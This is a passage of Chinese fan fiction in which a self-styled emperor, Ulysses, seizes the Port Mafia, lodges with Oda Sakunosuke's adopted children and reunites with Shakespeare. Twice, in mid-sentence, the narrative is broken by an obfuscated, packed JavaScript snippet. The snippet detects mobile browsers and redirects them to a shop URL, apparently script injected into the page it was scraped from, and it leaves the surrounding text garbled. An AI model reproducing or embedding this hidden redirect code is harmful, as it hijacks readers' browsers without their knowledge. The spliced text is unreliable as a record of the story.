中原中也十分羞耻,在皇帝和他的森大臣的注视下,缓缓摘下帽子,只听扑通一声,单膝跪地。他很想低下头,将头低到胸口,恨不得找个地缝钻下去,但问题是他还得亲吻皇帝的手背,现在皇帝已经把手伸了过来! “……”一阵让人窒息的沉默过后,中原中也心一横,闭着眼将嘴唇贴到了皇帝的手背上,然后忍不住抖了一下,因为对方的手简直像冰块一样冷。 “很好,现在你也是朕的骑士了,同时也是朕的大臣。”皇帝高兴地说道,他一本正经地说着莫名其妙的话,偏偏站在他旁边的森鸥外还一脸习以为常的表情,像个正在见证神圣故事的牧师一样,神情平和而镇定,中原中也忍不住一直盯着森鸥外的脸看,很想知道对方是怎么绷住表情的。 “你可以走了,中原大臣。”皇帝说道。 中原中也仿佛一脚踩在云朵上,恍恍惚惚地离开了首领室。 “现在朕有7名骑士,但是还不够。”皇帝不满道,“太少了,一个皇帝怎么能只有这么点骑士呢?” 森鸥外:“…………” 港口mafia现在的四个干部,再加上皇帝的贴身护卫——一个叫织田作之助的人,还有森鸥外自己,以及中原中也这个刚回来的准干部,总共7个人对皇帝宣誓效忠,成为了“骑士”。 “咳,骑士人少而精,未尝不是一件好事……” “听起来有点道理,但这不是骑士少于十二名的理由。” 十二名?这个数字有点熟悉啊…… “为什么是不少于十二名呢?” 皇帝满脸的理所当然,“因为亚瑟王有十二名圆桌骑士,朕作为比亚瑟王更伟大的王,当然要有更庞大的骑士团才对。” 森鸥外:“……原来如此,臣明白了。” 7.第 7 章 作为一个养着五个孩子的男人,织田作之助最大的苦恼就是钱不够花,他得用他一个人的工资养活五个孩子,为此不得不精打细算,因此难免显得有些拮据,再加上最近他额外收留了一个新的离家出走的皇帝,就更加捉襟见肘了。 “哎。”织田作之助数了数钱包里仅剩的日元,不由得叹了口气。 借宿在他家的皇帝陛下听到他的叹气声,微微推开衣柜门,探出一个脑袋,问道,“怎么了,我的护卫先生?” “没什么。”织田作之助不打算将这种事说给孩子听,与其将无意义的焦虑传播给孩子,他认为当下更紧要的任务是想想怎么赚钱——这才是他这个大人应该做的事。 听他这么说,皇帝也没有深究,而是紧张地看了看四周,小声嘱咐道,“我感觉咲乐马上要过来了。你不要暴露我的藏身地。” 看着躲在衣柜里的尤里西斯,织田作之助有些无奈,点了点头,“好的,为了捉迷藏的公平,我不会暴露你的。” “而且你还要帮我隐藏。”皇帝补充了一句。 “这样会不会不太公平?”织田作之助有些犹豫。 “你可是我的臣子!”皇帝瞪圆了眼睛,“你难道要放着你的皇帝不管吗?” 织田作之助有点遭不住皇帝失望的眼神,只好妥协了,“……好吧。” 没多久,咲乐真的来了。她和尤里西斯,还有织田作之助收养的其他四个孩子一起玩捉迷藏,现在是咲乐当鬼,要找到躲起来的尤里西斯。 “织田作!”咲乐对着他做了个口型,踮着脚,慢慢挪到了他旁边,贴在他耳边用气音问道,“你知道尤里西斯躲在哪里吗?” 咲乐期待地看着他,他不禁陷入了两难。 这……他已经答应了尤里西斯,现在咲乐又找他帮忙…… “不知道,他没来我这里。”织田作之助表情没有丝毫变化,一脸正经地说道,“可能去幸介那边躲着了。” “一定是!他们上次就一起躲到床底下了!”咲乐直接就信了,完全没有怀疑织田作之助会撒谎。 织田作之助看着咲乐离开,心中有点负罪感,没办法,是尤里西斯先找他帮忙的,而且他也已经答应了……大不了下次就帮咲乐吧,一人帮一次,这样比较公平。 有了织田作之助的暗中帮助,尤里西斯顺利成为了这场游戏的胜利者,咲乐在规定时间内找到了其余几个孩子,唯有尤里西斯未被找到。 “我赢了!” “你躲得太隐蔽了!”咲乐以为尤里西斯躲在了一个新的点位,悄悄问他,“你躲到哪里了,偷偷告诉我好不好?我不告诉别人。” “秘密。”尤里西斯得意地说道。 “我不会泄露的!”咲乐保证道。 “如果能随便说出去,那就不是秘密了。”尤里西斯闭口不言,咲乐只好遗憾放弃了,织田作之助看着他们两个说话,只觉得好笑,果然是孩子啊。 “陛下,你为什么是精灵耳呀?”在尤里西斯的多次强调下,咲乐就一直叫他陛下了。 “你是说尖耳朵?因为朕是梅林的后代。”尤里西斯说谎话不打草稿,偏偏咲乐深信不疑,一脸的羡慕,“太不可思议了!” 织田作之助眼睁睁看着尤里西斯忽悠咲乐,也不阻止,只是心里发笑,他发现小孩子之前的互动真的很有趣,或许等咲乐他们长大了,会觉得这是很有纪念意义的一段回忆。 几天后,织田作之助在Lupin酒吧里和两个朋友相聚,跟太宰治碰杯时,他还分享了一下最近开心的事。 “我最近又收养了一个孩子……或许可以说是暂时收留?总之,他现在住在我家里,和幸介他们一起生活,偶尔他们还会一起玩捉迷藏。” “听起来氛围真好。”坂口安吾说道。 “咦——又多了个孩子吗?”太宰治拉长了声音,“话说织田作的工资还够用吗?” “原本是不太够的……我都在考虑要不要多打几份工,好挣点外快了,但就在昨天,我涨工资了——涨了快两倍,真好,我可以给孩子们提供更好的食宿了。” 坂口安吾听到这话,呛咳了一下,“……是挺好的。” 太宰治的目光在两人之间游移,若有所思,半晌,他笑了笑,“织田作,你有没有听说换首领的事情?” “有。”织田作之助回答,“不过对我影响不是很大。”他连现任首领叫什么都不清楚。 “织田作现在被调任了吗?真可惜,我想让织田作到我手下来工作,但是有人不答应——原本我同意出差就是为了跟森先生要织田作,结果首领换人了,我的功劳直接一笔勾销了!”太宰治趴在桌子上,醉醺醺地抱怨。 “……”织田作之助静静地听着太宰治说话,附和了一句,“功劳还是应该兑现的。” “就是就是!”太宰治说道,“怎么能抹灭我的功劳呢?新首领太过分了!” “咳咳!”坂口安吾猛的咳嗽了起来,“太宰,是【皇帝陛下】。” 听到这个熟悉的称呼,织田作之助看了过来。 “好吧,皇帝陛下。”太宰治不爽地翻了个白眼,“我知道,他上次还因为我没叫他皇帝陛下而扣了我工资呢。” “扣了你三个月工资吧?”坂口安吾扶了下眼镜。 “是啊,害得我都没钱买蟹肉罐头了。好难过,我不想回家了,我能不能去你家,织田作?”太宰治郁闷地锤桌子,吸引了酒保的视线。 “……”织田作之助犹豫了一下,“那我们可能得三个人挤一挤了。” “为什么是三个人?安吾又不来。” “因为我现在和我新收留的那个孩子挤在一个房间。”他们家人多,只能让尤里西斯和他一起住了,好在骄横的皇帝陛下并不介意和他的护卫先生挤一挤…… 想到家里的皇帝陛下,织田作之助就联想起了港口mafia的那个皇帝,不过很快就抛之脑后了,两者除了称谓,完全没有相似之处。 一个是爱玩捉迷藏的孩子,一个是以暴力手段上位的首领,怎么想都不搭边啊。 “好吧,挤一挤也无所谓。”太宰治回答,“那我今晚就去织田作家留宿了!” . 几天前,太宰治出差归来,先是听说了皇帝上位的事,然后就亲自见到了皇帝本人。 见到皇帝的第一眼,太宰治就知道这不是个讨人喜欢的家伙。 “太宰大臣。”对方这么叫他,“你迟到了。” “抱歉,首领。”他毫无诚意地说道,无所谓地看着对方的眼睛,有些好奇对方会怎么回应。 “……你叫我什么?”对方不太高兴。 “抱歉,首领。”太宰治重复了一遍,在这种语境下,他这话多少显得有点挑衅,但他并不在意。 “森大臣,你知道该怎么做。”对方扭头对森鸥外说道,接着,毫不客气地对太宰治下了逐客令,“你可以滚蛋了。” 太宰治莫名其妙地出去了,几分钟后,他的手机收到了一则短信,是港口mafia财务部发来的: 【太宰治先生:】 【因为你对皇帝陛下出言不逊,所以对你做出如下惩处:扣除你三个月工资。请你将以下规则牢记于心:不许叫首领,而要称“皇帝陛下”,下次再犯,惩罚翻倍,望周知。】 对面还发了张图片过来,太宰治点进去一看,是森鸥外的签名。 【审核人:森鸥外】 太宰治:? 他想去找新首领,但对方将他拒之门外,只有森鸥外接见了他。 森鸥外耸了耸肩,“真是不好意思,太宰君,陛下让我按规定处置。” 太宰治:“……” 他气笑了。 财务部按照首领的命令,扣下了太宰治的工资,以至于他不得不靠偷中原中也的银行卡过活。 “简直是比森先生还要糟糕的首领呢。不过我可不会因为这点惩罚而改过自新哦?”太宰治哼着歌,食指和中指之间夹着一张银行卡,愉快地跑去和朋友们喝酒了。 “织田作,那个新来的孩子是什么性格?”去织田作之助家的路上,太宰治问道。 “他啊……比较骄纵,但是也很可爱。”织田作之助想了想,说道。 在织田作眼里,他养的孩子都很可爱吧?太宰治心里吐槽道。 “他叫什么名字?” “尤里西斯。我有时候叫他尤拉,他说这是他的小名,很可爱吧?” “……”太宰治心中古怪,这名字……怎么感觉有点耳熟? 他跟着织田作之助回家,织田作之助还没将钥匙插进锁孔里,门就自己开了。 “朕的护卫!你回来了……”尤里西斯在门口等候多时,眼睛亮晶晶地看着门外的人,“我等你好久了!” 织田作之助心一软,感觉心里暖暖的,“尤拉……” 结果下一刻,尤里西斯就说,“叫我陛下……算了,现在有更重要的事……快来陪我们打牌,就差你一个了!” 织田作之助了然道,“现在吗?” “对!就我们四个,我,你,咲乐,幸介!”尤里西斯兴奋地说道,“真嗣,优,克巳他们三个太笨了,打牌老是输,这回不管我怎么说都不肯和我们一起玩了……嗯?你后面还有人?谁啊?” 外面已经天黑了,尤里西斯注意到了织田作之助后面还站着个黑影,不由得出声问道。 “是我的朋友,太宰。”织田作之助让开了身,让尤里西斯得以看清他身后的人是谁。 “……” 尤里西斯瞪着太宰治,像是瞪着一个讨人厌的人。而太宰治回以同样不客气的瞪视,不过太宰治的眼神里更多的是惊愕,其次才是反感。 如果这里不是织田作的家……太宰治垂落的手指动了动,眼神莫测地望着尤里西斯——不,或许叫他港口mafia的新首领,横滨的皇帝更加恰当。 他这才想起来他为什么会觉得尤里西斯这个名字耳熟…… 他可是听说过不少皇帝的丰功伟绩啊。这样的人……怎么会出现在织田作身边呢? “好了,我们进去吧。”织田作之助也隐约察觉到了两人之间的异样氛围,连忙打圆场。 “太宰,你也玩牌吗?”织田作之助问道。 孩子们已经吃过了,织田作之助和太宰治也在外面吃完饭才回来,因而一回来就可以直接开始玩牌。 “好。”太宰治目光沉沉。 尤里西斯已经和咲乐他们坐到一块儿去了,中间摆着一副牌,看起来其乐融融。 好啊,他倒要看看,这位初来乍到的首领大人,所谓的皇帝陛下要搞什么鬼。 “皇帝陛下要开始发牌了!”尤里西斯见太宰治加入游戏,虽然有些看不惯对方,但是他不会为了闲杂人等影响自己的娱乐,所以游戏还是照常进行。 几个人挨个拿了牌,太宰治看着自己的牌,挑了挑眉——他运气不错,到手的牌几乎可以说是王炸。 他扫视周围,发现尤里西斯略微瞪大眼睛,像是不可置信似的,来回翻开自己的牌。 看来是一手烂牌。 他还留意了一下其他人,只需看一眼对方的表情,就能大致猜出对方手里的牌如何,很明显,除了他手气格外好,拿到了一手王牌,以及尤里西斯格外倒霉,拿到了一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599617|186909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂牌以外,其他人都是平平无奇的普通牌。 他知道自己多半要赢,结果也确实是这样。 “为什么幸运女神不眷顾我?”尤里西斯沮丧地扯了一下织田作之助的衣袖。 “也许是因为她想将好运留到更重要的事情给你。”织田作之助熟练地安慰道。 尤里西斯很快被哄好了,高高兴兴,没有计较输了一次牌的事。 等尤里西斯因为某些事走开后,太宰治轻声问旁边的织田作之助,“他经常输吗?” “有输有赢吧……不过输的确实比较多,但这是很正常的事——他还是个孩子呢。”而且每次输了都会捶胸顿足,搞得织田作之助后面都会注意一下,尽量不让尤里西斯输的太惨。 “孩子?”太宰治语气有些古怪。 “有什么不对吗?” “……没什么。”太宰治说道。 好吧,好像还真是个孩子。就算以他犀利的眼光来看,对方也不像个成年人,不论是处事,还是智力——之前在首领室匆匆见过尤里西斯的那一次,他没看出什么不同,而现在尤里西斯就不掩饰了,几乎像个没长大的孩子一样,什么都表现在脸上,输了牌的样子简直可以用垂头丧气来形容。 ……是智力障碍吗?太宰治心想,真是可怜……不过依旧谈不上讨人喜欢,因为如果对方真的脑子有问题,织田作就要为对方劳神费心了。 . 钟塔侍从派来的人依旧在监视皇帝,不过在那一次被皇帝揪出来之后,皇帝就不怎么管他们跟踪的事了,想必是信了他们的说辞,以为他们是他的崇拜者,所以才一直跟踪他。 “皇帝真够大度的……如果克里斯蒂女士也能像他一样大度就好了。”有人嘀咕道,他还在为即将要交上去的任务报告烦恼,克里斯蒂女士要求他们每个人至少写三千字的报告,搞得怨声载道。 “你是真不怕死。”居然敢这么议论克里斯蒂女士。 “没关系,范伦丁长官现在不在。”今天轮到对方去皇帝家门外守着了——而且是值夜班。克里斯蒂女士要求他们二十四小时盯着皇帝,没办法,只能轮流值班。 “我把皇帝的言行一五一十记录下来,差不多可以凑够两千字,还有一千字能写什么?我实在是想不出来。” “……” 钟塔侍从的几个人在安全屋里说着话,没想到突然有人敲响了门。 “……什么人?”他们面面相觑,不约而同地警惕了起来。 这是他们的秘密安全屋,按理来说,这个时间段不会有人到访才对——只要范伦丁长官没有翘班回来,来者就多半是不速之客。 在同伴的怂恿下,有人不得不硬着头皮开了门。 “……”门外的人让他们大出所料,眼珠子都差点掉下来。 “晚上好。”对方笑了笑,“没有打扰到你们吧?” “……没有,莎士比亚先生。”他惊呆了,“您怎么来这里了?” “我听说【皇帝】来横滨了。”莎士比亚笑了笑,一句话说明了他为谁而来,举止自然地进了门,顺手把门带上,找了个椅子坐,问道,“他现在怎么样?还在异能状态下么?” “是的,【皇帝】还在异能状态下。您……最好不要去见他,他现在不太理智,没法正常交流。” “不……我不会去见他,至少现在肯定不会。”莎士比亚失笑,“阿加莎和你们说了什么?” 居然以为他会跑去和那种状态下的【皇帝】见面,他吃过一次亏,难道还要再吃一次亏么? “……克里斯蒂女士什么都没和我们说。” “对我不用这么紧张,我不会告诉阿加莎的。”莎士比亚语气随意,“我又不是她的部下……算了,随便和我聊聊【皇帝】的事吧,他怎么样?” “【皇帝】认为自己是横滨的皇帝,因此占领了港口mafia——横滨本地的一个黑.道组织。他在横滨认识了一个人,现在正暂住在对方家中。” “不,我不是在问他干了什么,而是问他现在怎么样?就是——”莎士比亚比划了一下,“你们能明白吗?我只是关心这个许久未见的朋友的近况而已。” “我明白了……最近七天之内,皇帝的生活十分健康,根据我们的观察,他日出而作,日落而息,偶尔在横滨视察,徒步走半个小时,因此也有合理的锻炼。他过得挺好的。” “……”莎士比亚像是松了一口气,“那就好。等他什么时候脱离状态了,再通知我,到时候我再来见他一面,我有东西要交给他。” “好的。” 目送莎士比亚离开,钟塔侍从的人立刻开始讨论起来,“我早说他们关系不错吧?莎士比亚先生平时很少出国的,现在居然来横滨了。” “看起来确实关系不错。不过我更好奇的是,莎士比亚先生到底是和‘尤里西斯’是朋友,还是和【皇帝】是朋友?” “什么意思?” “一看你就没仔细阅读皇帝的资料……他在正常情况下,以及异能状态下,完全不是一回事,我们印象里的皇帝是个疯子,那都是异能状态下的他——说实话,我有时忍不住同情他,没法控制自己的状态,时不时就会陷入失了智的状况。” “难道他正常情况下是个彬彬有礼的人吗?” “这谁知道?但应该是个不坏的人,不然莎士比亚先生也不会为了他千里迢迢跑到这里来。” “别说了,我们可没有同情他的资格。他是什么人?我们又是什么人?他当时闯进钟塔,可是杀了不少人,如果当时我们已经入职,说不定也会死在他手里。” “……”这话一出,立刻没人吱声了。 8.第 8 章 皇帝在横滨的日常是很轻松的。尽管他是整个横滨的皇帝,港口mafia的新首领,但他尽职尽责的大臣们会帮他处理好公事,所以他有很多时间用来消遣娱乐。 皇帝时常和孩子们一起玩,还会聊聊天。 “陛下的家是怎样的?”有一次,咲乐好奇地问道。 “宫殿。”尤里西斯不假思索地回答,“朕的家当然是那种富丽堂皇、巧夺天工的宫殿。” “好厉害!”咲乐深信不疑的样子让尤里西斯很是受用,“我昨天看公主动画片,公主穿着很漂亮的裙子,陛下那边的公主们也是穿着那样的裙子吗?” “……”尤里西斯可疑地停顿了一下,他不记得了,不过公主这个称呼他很熟悉,应该是因为皇帝也有表亲或堂亲的姐妹,而皇帝的姐妹就是公主。 为了应付咲乐,尤里西斯随口忽悠道,“公主和贵族小姐们差不多,都是穿着蕾丝边的罗裙,她们喜欢戴宽檐帽在外面踏青骑马,累了就回去享受下午茶。” “听起来真美好。”咲乐一脸羡慕。 “其实也就那样。”尤里西斯说道,“骑马很累的,要不是为了社交,没人会骑马。而且公主小姐们都没法选择自己的婚事,通常都会嫁给那种矮墩墩还长得丑的男人。” “可是动画片里公主的丈夫都很英俊!” “这你也信?”尤里西斯有些鄙夷,“都是骗人的,贵族男人大多都难看,没有朕万分之一俊美。” 咲乐看了尤里西斯一眼,好吧,确实,尤里西斯长得不是一般的好看,这一点没法否认。 织田作之助难得放了一天假,闲下来看着尤里西斯和咲乐玩,就希望时间慢下来,如果能一直停留在这样宁静而幸福的时刻就好了。 尤里西斯和咲乐眉飞色舞地说着话,说着说着,尤里西斯神情一顿,像是被什么东西砸中了,下意识地捂住了额头。 “怎么了,陛下?”咲乐担心地看着他。 “……我没事。”尤里西斯望着咲乐的脸,眼神有些陌生,忽然站起身,说了句,“我出去有点事。” 然后就头也不回地走了。 到了晚上吃饭的时间,织田作之助注意到尤里西斯还没回来,就问咲乐,“尤拉跑哪里去了?” “不知道。”咲乐回答,“陛下说他有事,然后就走了。” 尤里西斯来到了港口mafia,目标明确,直接叫来了森鸥外。 “查查最近有没有金发的英国人来横滨。”他言简意赅地下了令,“半小时之内给我结果。” 森鸥外怔了下,“好的,陛下。” 即将离开首领室时,森鸥外脚步一顿,微不可见地偏过头,瞥了身后坐在首领位置上的人一眼。 对方跟平时很不一样,就连说话习惯都变了。以前对方会先叫他“森大臣”,随后才会提要求,但这回对方直接下了命令,雷厉风行。 尤里西斯面无表情地端坐在王位上,尽管没有露出惯常的高傲神情,姿态却是独属于王的高高在上。 “找到了,陛下。”森鸥外将资料交给尤里西斯,尤里西斯草草看了一眼,就匆匆走了,像是急着去见什么人。 森鸥外若有所思地望着他的背影,忽地笑了笑,“但愿只是暂时如此吧。”如果以后每天见到的都是今天这个“非同寻常”的皇帝,事情就不一样了。 而此时的尤里西斯脱离了异能状态,按照森鸥外给的资料找到了他的老朋友。 莎士比亚心情有些复杂,“我以为还要等一段时间,你才会变回原样呢。这回运气不错,你还记得我——” “你想多了。异能不会持续那么久。”尤里西斯打断了他的话,伸出手,勾了勾手指,“东西呢?给我。” “陛下,你未免太颐指气使了。”莎士比亚抱怨道。 尤里西斯无动于衷,只一昧地伸手,见状,莎士比亚忍不住嘀咕,“还真是一点没变。东西在这儿,你舅舅上个月寄来的。” “他死了没?” “还活着。只不过跟死了也差不多了。” “他怎么寄过来这个?”尤里西斯捏着一沓钞票,脸上出现一丝不解。 “他附带了一张纸,上面写着生活费。”莎士比亚耸了耸肩,“也许是因为他觉得他的小尤拉还没断奶,需要舅舅的金钱接济吧。” “……” 见尤里西斯恼怒地瞪着他,莎士比亚反而笑了笑,“别这么严肃嘛,就算是皇帝陛下,也是需要一点幽默细胞的。” “……这些钱是你的了。”尤里西斯压根不打算接受生活费,他可是皇帝,根本不需要这点钱,于是直接把钱扔到莎士比亚怀里,丢下一句话,就直接跑了。 “诶,等等!你不管他了?”莎士比亚在后面喊道。 “你管别人的家事干什么?”话虽如此,尤里西斯还是烦躁地折返了回来,“所以他到底怎么了?” “这个……我不好形容,你自己看看吧。”莎士比亚拿出一张照片,“这是我自己搞到的,你做好心理准备。” “……谁干的?”尤里西斯看着照片里那张熟悉的脸,以及对方消失不见的下半身。对方像是直接被腰斩了,腰部以下、包括手臂的部分都消失了,只有一把剑将其从下至上贯穿,只在底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604339|186909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出一把剑柄。看起来很惨烈,不过对方明显还活着,眼睛还睁着,就是有点没精打采的,像是刚睡醒似的。 莎士比亚露出回忆的神色,“那个人叫什么来着……日本人的名字真难记,哦,想起来了,好像是叫——福地樱痴?就是那个远东英雄,还挺有名的。” “没听说过。会被我压根没听过的人打败,真是丢王族的脸。”尤里西斯有点不爽,“我……” 莎士比亚听着他说话,还以为他会做出什么决定,比如要营救自家舅舅之类的,结果直接戛然而止了。一看才发现尤里西斯突然捂住了额头,一副头痛欲裂的样子,莎士比亚还没开口问他怎么了,他就抬起头来,以极其陌生的眼神打量着莎士比亚。 “你是谁?”尤里西斯茫然地问道。 莎士比亚:“……”这次走得好快,突然又变回单纯的小皇帝了。 他咳嗽了一声,决定要重新建立自己在皇帝心里的形象,最好让皇帝以后对自己客气一点,“初次见面,亲爱的陛下。自我介绍一下,我是威廉·莎士比亚——” . 布拉姆·斯托克,著名的吸血鬼伯爵,灭亡人类的【十大灾厄】之一。在他还未因为异能细胞变异而转化为吸血鬼之前,也是正常的人类,还有着幸福的家庭。 他出生于十五世纪的瓦拉几亚公国,也曾作为某人的儿子,某人的丈夫活着,等他的姐姐作为公主嫁给了隔壁国王,又生了个儿子之后,他就成为了某人的舅舅,因此自觉承担起了身为舅舅的责任。 “小尤拉,”他对年幼的小王子张开双臂,尽可能做出和善的表情,“我是你舅舅。” 而尤里西斯睁大眼睛看着他,用手去抓他的尖耳朵,“精灵!你可以实现我的愿望吗?” 他愣了愣,还是第一次有人把他认成精灵这种纯洁的生物,就因为吸血鬼的尖耳朵。 “你的愿望是什么?” “成为世界上最好的皇帝!”尤里西斯回答。 “会实现的。” 一语成谶。 布拉姆从沉睡中醒来,就发现自己躺在棺材里。他下意识地动了动,只有头颅能动,而下半身完全无法动弹,往下一看,啊,是空的。 对哦,他想起来了,他被人斩下了头颅,然后挟持了起来,现在正作为阶下囚受到禁锢,没法自由行动。 不过此时他并不在意这个,而是想到了他的外甥,他仅存于世的牵挂。 “尤拉有收到我留给他的钱吗?”布拉姆心想。他之前特意留了一笔钱,托人按时寄到尤拉给他的地址去,不知道对方收到没有,他现在也没法确认。 9.第 9 章 “哦。”听了莎士比亚的自我介绍后,皇帝十分淡定,盯着对方的脸看了一会儿,突然问道,“你不是贵族吧?” 莎士比亚愣了愣,“如果是说爵位的话,我确实没有。”不过以他的能力,在本国的地位也堪比一些世袭大贵族了。 “那就好。”皇帝像是松了一口气。 “陛下,你问这个干什么?”莎士比亚有些想不通。 而皇帝理所当然地回答,“当然是因为担心你影响朕在上流阶级第一俊美的地位。虽然你长得不如朕英俊,但身高……” 皇帝略微抬起头来,眼神中透露出一分艳羡。 “……”莎士比亚愣了一下,笑得不行,“陛下,您是担心,因为我的存在,导致您钟意的女孩看不上您吗?” 某种程度上,莎士比亚确实是个大帅哥,高大又英俊。 “怎么可能?”皇帝听到这种质疑,气得差点跳起来,“朕的公主才不会看不上朕!而且你这平民也只是比朕高一点而已!” 只是一点而已吗?莎士比亚揶揄地看了一眼皇帝头顶的发旋,皇帝立刻就被激怒了,狠狠瞪了他一眼,手在腰边摸了摸,没找到佩剑,但还是生气地宣布,“朕要和你决斗!” “等等,陛下!我只是开个玩笑!”莎士比亚被尤里西斯追着跑,说了无数好话,像是“陛下天下第一俊美”“世界上没人比陛下更帅气”之类的话,尤里西斯才勉强停手。 尤里西斯简直气红了脸,一副气冲冲的样子。 小皇帝真的太好玩了。莎士比亚在心里笑得前仰后合,不过不敢表现出来,因为万一异能状态下的皇帝真的生起气来,下死手就有点难办了。 “别以为你这平民长得还算不赖,就能动摇朕的地位了。”饶是莎士比亚已经尽力说好话哄人了,但尤里西斯还是强调道,“朕的公主可不会离朕而去!” “陛下,你还有公主呢?”莎士比亚察觉到了秘密的气息,开始套话。 “每个皇帝都应该娶一位公主。”皇帝一副理所当然的样子,“而朕要娶的是……” “……谁?”莎士比亚眸光一闪,问道。 “你管朕要娶谁?反正王子要娶公主,国王要有王后,自古以来都是如此。”尤里西斯忽然住了口,转而问道,“你知道朕是皇帝,那你应该知道朕的领地在哪里吧?” 看来又忘了。 莎士比亚笑了笑,“知道。” “带朕去。”尤里西斯要求道。 “我们已经在你的领地了。”莎士比亚毫不心虚地说道,“就是我们脚下的土地,横滨。” “朕的宫殿在哪?” “……”这个问题把莎士比亚难住了,他之所以说横滨是皇帝的领土,是为了防止异能状态下的皇帝跑到其他地方去,以免节外生枝,但横滨这地方显然是没有宫殿的…… 对了,他想起来了,钟塔侍从派来观察皇帝的成员曾告知他,皇帝目前住在横滨一个本地家庭里,所以宫殿应该说的就是那里。 “等一下,陛下。”他给钟塔侍从打了个电话,很快电话就转接到了驻横滨的那几个成员那里,得到答案之后,他就和尤里西斯说道,“走吧,陛下,我带你回家。” “是宫殿!”皇帝强调道。 “好吧,我带你回宫殿。”莎士比亚立刻改了口,他清楚对皇帝只能顺毛撸,反正只要不是特别重要的事,一律顺着来就对了。 皇帝这才满意地跟了上来。 尤里西斯一直没回家,连晚饭都错过了。织田作之助有些担忧,特意在外面等尤里西斯,等到半夜时,尤里西斯终于回来了,身边还有一个陌生人。 那个陌生人金发绿眼,五官深邃英俊,身材高大,正侧过脸和尤里西斯说着什么,像是聊到了什么有趣的事,还勾起唇角微笑。 他见到有外国人陪在尤里西斯身边,还思考了一下那个人会不会是尤里西斯的亲人,要带尤里西斯走,但莎士比亚貌似没有那个意思,看到织田作之助,就礼貌笑了一下,“你好,我是威廉,送陛下回家。” “你好,谢谢你送尤拉回家。”织田作之助同样客气地回了句,然后就对尤里西斯说道,“饿了吗,尤拉?我给你留了饭。” 尤里西斯听到这个称呼,浑身一震,他其实不记得织田作之助了,但是他记得自己的小名,尤拉一出,他的眼神立刻就不一样了,仔仔细细地打量着这个红发男人,像是要把织田作之助牢牢记在心里。 会叫他尤拉的,肯定是他的亲人。 尤里西斯的视线转移到旁边那栋不算漂亮的房子上,看来这里就是他的宫殿了,虽然看起来不是特别精致,但是简朴一点也没什么不好。 “你可以走了。”皇帝回头对莎士比亚说道。他还记恨对方之前的揶揄,说话很不客气。 “陛下,我真高兴你说的不是‘你可以滚了’。”莎士比亚叹了口气。 “你可以滚了。”尤里西斯立刻补了一句。 “陛下,你确定要用这张脸说出这么伤人心的话么?”莎士比亚一脸伤心。 “为什么不行?”尤里西斯反问道。 “好吧,那我走了。不要想我,不要思念你的老朋友,陛下。” “显然不会。”尤里西斯说道,忽然注意到“老朋友”这个词,有些狐疑,“朕难道和你是朋友?” “你忘了吗?我们是从小到大的好朋友,当年……”莎士比亚胡说八道。 “你可以滚了。”尤里西斯面无表情。 “我真的走了?”莎士比亚往后退了一步,“陛下,你甚至不挽留一下我。” “……”尤里西斯压根不理他,转过头和织田作之助说话,“你给我留了什么晚饭?” “咖喱饭。”织田作之助回答。 “没有很辣吧?”尤里西斯条件反射地问道。 “特意少放了辣,因为是留给你的。” “那就好。”皇帝满意地说道。 次日,尤里西斯起了个大早,来巡视他的领土,他以前也起得很早,所以织田作之助已经习惯了,见他已经起床,干脆也起来了,“听说早晨容易产生灵感,我起来写点稿子。” “什么稿子?”皇帝还是第一次听这个新奇的词汇。 “就是寄给出版社的稿子。我希望以后能成为一名全职作家,最近工资涨了很多,我觉得有机会在我四十岁之前攒到足够的积蓄,这样我就能安心写作,即使小说不挣什么钱也没关系。” “……”尤里西斯闻言,也不急着去巡视领地了,凑过来看织田作之助写小说,结果织田作之助拿着笔,苦思冥想半天,只写了几行字,叹了口气,说道,“看来今天不宜写作。” “写完之后,我要看。”尤里西斯说道。 “好的,我会给你过目的。”织田作之助说道。 “第一个就要给我看!”尤里西斯扯他袖子。 “好,好。”织田作之助连连应道,“还要去巡视领地吗?先吃了早饭再去吧。” “既然你都这样说了,那朕就勉为其难吃完早饭再走吧。”尤里西斯说道。 巡视领地时,尤里西斯遇到了一个黑西装,对方在路上看见他,表情立刻变得紧张起来,走过来和他打招呼,“陛下,早上好。您现在要去总部吗?” “是的。”尤里西斯不认识对方,不过对方叫他陛下,说明是他的属下,既然如此,就去对方所说的本部看看吧。 黑西装打了个电话,没几分钟,就有一辆低调奢华的黑车停在了他们的面前,司机毕恭毕敬地帮尤里西斯拉开了车门,“陛下,臣送您去本部。” 然后尤里西斯就来到了港口mafia的总部,这里来来往往的人都穿着黑西装,一见到他就恭恭敬敬地叫他陛下。以尤里西斯的眼光来看,这些人都长得别无二致,简直是一个模子刻出来的。 他乘电梯来到了首领室,据说是他平时办公的地方,平日里侍奉他左右的森大臣此时已经在首领室候着了,“陛下,这是今天的事务。” 尤里西斯一眼就看见了首领室中间的座位,那一定就是他的王座了。他坐上王座,随手打开一本奏折,上面写着港口mafia近日来的开支和收入汇总,数字密密麻麻,他翻看一会儿,就问身边的森鸥外,“为什么多了一笔开支?” “什么?”森鸥外愣了愣。 “朕算了一下,有79650日元的开支是没有记录用途的。”尤里西斯说道,“这笔钱你用来干什么了?朕的宰相。” 宰相?森鸥外怔了下,这还是尤里西斯第一次叫他宰相,不过当务之急是想想怎么回答皇帝的问题,没时间想别的了。 那笔未被记录的开支确实存在,不过森鸥外着实没想到皇帝会敏锐到发现这个。 “这个 